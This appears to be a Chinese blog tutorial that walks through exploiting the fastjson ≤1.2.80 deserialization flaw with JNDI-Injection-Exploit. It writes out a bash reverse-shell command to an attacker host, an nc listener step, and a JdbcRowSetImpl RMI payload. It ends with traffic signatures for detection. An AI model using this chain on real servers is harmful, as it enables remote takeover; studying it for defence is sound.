写在前面,本文利用JNDI-Injection-Exploit工具,若文章有理解错误或表述错误的地方,欢迎大家在评论区指正。
目录
1、利用JNDI-Injection-Exploit开启服务、开启监听
一、介绍fastjson
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象。Fastjson可以与任意Java对象一起使用,包括您没有源代码的现有对象。
二、简述fastjson反序化漏洞原理
parse进行反序化时,在json中如果识别到“@type”,会自动的实例化对应的他值,所以可以构造一个恶意json进行攻击。利用rmi协议,实现JAVA远程方法调用。JNDI-Injection-Exploit工具可以实现恶意类的创建,开启rmi、ldap协议。
三、全流程复现fastjson反序化漏洞
1、利用JNDI-Injection-Exploit开启服务、开启监听
其中 -C “执行命令” -A 攻击机ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx
请将上述xxxx内容替换为的下面反弹shell命令的base64编码
bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1
使用bash -c {echo,xxxx}|{base64,-d}|{bash,-i}形式可以避免反弹时的一些问题,此处不再赘述,可以自行查找绕过exec反弹shell的相关知识。
这里使用nc进行监听
3、抓包发送payload
原始payload,此payload使用了com.sun.rowset.JdbcRowSetImpl攻击链,还可以使用其他攻击链,此处就以Jdbc攻击链为例。
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://xxx.xxx.xxx.xxx:port/xxxx", "autoCommit":true } }
将JNDI-Injection-Exploit工具生成的rmi协议地址复制到上述payload相应位置,注意JDK版本
注意请求细节
4、成功反弹shell
四、总结
此攻击利用方式存在于特定依赖存在下影响 fastjson≤1.2.80
漏洞主要是利用json中“@type”键对应的value指定任意反序列化类名
此文章使用JNDI-Injection-Exploit工具,主要作用是提供rmi/ldap协议,恶意Java类并架在http协议中。
五、流量特征
JSON格式的请求
请求体中出现@type
有jdbc利用链或其他利用链的特征
服务端响应500(有可能) 200(可能性低一点)